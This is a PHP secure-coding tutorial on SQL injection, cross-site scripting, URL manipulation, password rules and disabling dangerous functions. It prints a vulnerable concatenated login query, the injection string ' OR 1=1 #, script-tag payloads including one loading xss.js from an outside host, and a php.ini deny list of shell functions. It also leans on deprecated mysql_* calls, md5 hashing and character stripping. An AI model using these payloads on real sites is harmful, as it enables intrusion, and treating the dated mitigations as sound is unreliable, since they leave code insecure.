Current Articles | RSS Feed
PHP has established itself as a cornerstone of web development, and powers popular platforms such as WordPress and Joomla. However, because today's Internet is rife with hackers searching for weaknesses in web applications' security, PHP programmers must code defensively and guard against potentially destructive errors.
Before embarking on a discussion on how to code with a security mindset, consider some of the common techniques hackers use to try and breach a website.
One of the most common forms of attack is SQL injection. Many websites rely on a database to store information for the site and for user authentication. An injection attack tries to modify SQL code that is sent to the database in order to manipulate the site or circumvent user authentication. It works through HTML forms, in which data is entered by users, or in this case by an attacker.
For example, a programmer might use the following PHP statement when trying to authenticate a user:
$auth = mysql_query("SELECT username, password FROM users WHERE username = '" . $_POST['username'] . "' and password = '" . md5($_POST['password']) . "'");
The danger here is that the input entered by the user is directly used in the SQL statement without any validation or checking.
If an attacker were to enter, for example, ' OR 1=1 # for the username, the SQL statement would be transformed into:
' OR 1=1 #
SELECT username, password FROM users WHERE username = '' OR 1=1 # and password = '286755fad04869ca523320acce0dc6a4';
Everything after the # is ignored, and 1=1 is always true, so the hacker would trick the code into thinking the user is authenticated.
Similar to SQL injection, cross-site scripting (XSS) attempts to inject JavaScript code into a web page and use that code to load more code from an unrelated site (hence the term cross-site). If he's successful, the hacker can run his own code in the victim's browser, which lets him launch more complex attacks and even infect the victim's computer with malware.
A simple example of XSS might target users when they register for a site. At that time users can enter information into form fields, including their name, which is often displayed on the user's profile page as simple HTML. Suppose a hacker tried to use the following code for a username:
<script>alert('Some JavaScript code')</script>
By entering the <script> tag, the hacker can make JavaScript run every time the page is loaded. Instead of showing something like:
<P>Username: John Smith</P>
the profile page would show:
<P>Username: <script>alert('Some JavaScript code')</script></P>
Replacing the call to alert() with code to download a complex JavaScript from another site (e.g. <script type="text/javascript" src="http://www.example.com/xss.js">) would allow the hacker to use a script on an external site that he could change as often as needed without needing to reregister or modify the profile on the site under attack.
<script type="text/javascript" src="http://www.example.com/xss.js">
SQL injection and cross-site scripting exploits show us that user input cannot be trusted. Any time you use a form to get information, you need to validate and verify the input. A convenient way to do this is to create a function to validate user input and call it for every piece of data from a web form. Suppose you have a form that sends the variable username as post data. You could call this function, which I'll call make_safe(), like this:
$username = make_safe($_POST["username"]);
PHP includes the mysql_real_escape_string() function, which makes a string safe by adding escaping so that it can be used by other MySQL-related functions without fear of SQL injections. By escaping, I mean adding a slash in front of any special characters. For example, a single quote (') would be converted to (\'). This tells MySQL that the single quote doesn't mark the end of a string but rather is part of the string. Escaping the leading single quote in the example above would foil the SQL injection attempt.
'
\'
Using mysql_real_escape_string() in make_safe() gives us:
function make_safe($variable) { $variable = mysql_real_escape_string(trim($variable)); return $variable;}
To defend against cross-site scripting, input needs to be sanitized to remove any and all tags, including all HTML tags plus others such as <script>, <object>, and <embed>. PHP's strip_tags() can remove HTML tags, and we can use a string replace to remove the others:
function strip_html_tags( $text ){ $text = preg_replace( array( // Remove invisible content '@<head[^>]*?>.*?</head>@siu', '@<style[^>]*?>.*?</style>@siu', '@<script[^>]*?.*?</script>@siu', '@<object[^>]*?.*?</object>@siu', '@<embed[^>]*?.*?</embed>@siu', '@<applet[^>]*?.*?</applet>@siu', '@<noframes[^>]*?.*?</noframes>@siu', '@<noscript[^>]*?.*?</noscript>@siu', '@<noembed[^>]*?.*?</noembed>@siu' ), array( '', '', '', '', '', '', '', '', ''), $text ); return strip_tags( $text);}
Adding this to make_safe() yields:
function make_safe($variable) { $variable = strip_html_tags($variable); $variable = mysql_real_escape_string(trim($variable)); return $variable;}
As a further precaution, you should remove all special characters, such as / ' $ % and #, from the string:
function make_safe($variable) { $variable = strip_html_tags($variable); $bad = array("=","<", ">", "/","\"","`","~","'","$","%","#"); $variable = str_replace($bad, "", $variable); $variable = mysql_real_escape_string(trim($variable)); return $variable;}
Another way in which hackers attempt to gain access to restricted areas of a website is via URL manipulation. For example, a simple PHP script to show a record with the ID of 7 from a database might use a URL ending showrecord.php?id=7. It would be easy for a hacker to change this to showrecord.php?id=8.
showrecord.php?id=7
showrecord.php?id=8
To defend against this problem, you should take steps in several areas:
<form action="action.php" method="post">
The most common way websites authenticate visitors is to have them enter a user name and password. Forcing users to enter a strong password is essential for website security. It's easy to check password criteria in PHP. The following code checks a password (in the variable $pw) to ensure that it is at least eight characters long and contains at least one number, one lower-case letter, and one upper-case letter:
if (preg_match("#.*^(?=.{8,20})(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9]).*$#", $pw)) // Password is strongelse // Password is weak
PHP contains a variety of functions that can be dangerous, especially if passed unvalidated user-entered data. The most serious is the eval() function, which executes a given string as PHP. The PHP manual warns, "The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged.... Pay special attention not to pass any user provided data into it without properly validating it beforehand."
To disable eval(), and other potentially dangerous functions, add the following line to your system's php.ini file:
disable_functions = eval, ini_set, exec, shell_exec, system
When you're coding an enterprise application, you must consider all data entered by users via a web form to be potentially harmful. Before you process it, you must validated it and sanitize it. Using the methods outlined above to check for SQL injections and cross-site scripting will help secure your website. Disabling potentially harmful PHP functions like eval() will ensure that no easy-to-access system functions can creep into the code. Enforcing a good password policy will make it harder for script kiddies to gain access to legitimate user credentials. You should include all of these steps when you build sites with PHP.
Allowed tags: <a> link, <b> bold, <i> italics